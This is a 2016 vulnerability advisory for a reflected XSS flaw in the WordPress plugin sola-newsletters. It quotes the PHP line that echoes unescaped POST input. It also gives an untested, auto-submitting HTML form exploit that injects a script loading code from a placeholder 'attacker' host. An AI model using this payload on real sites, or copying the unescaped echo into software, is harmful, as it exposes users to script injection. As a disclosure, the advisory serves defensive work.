Advisory #: 976
Title: Reflected XSS in wordpress plugin sola-newsletters v4.0.12
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/sola-newsletters
Downloads: 30447
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: sola-newsletters
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./sola-newsletters/includes/import_subscribers.php: 20: <textarea name='sub_import_excel' id='sub_import_excel' style='width:70%; height:300px;' placeholder='Email address, First name, Last name'><?php if(isset($_POST['sub_import_excel'])) { echo $_POST['sub_import_excel']; } ?></textarea> The variable sub_import_excel appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./sola-newsletters/includes/import_subscribers.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/sola-newsletters/includes/import_subscribers.php method=post> <input type=hidden name=sub_import_excel value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>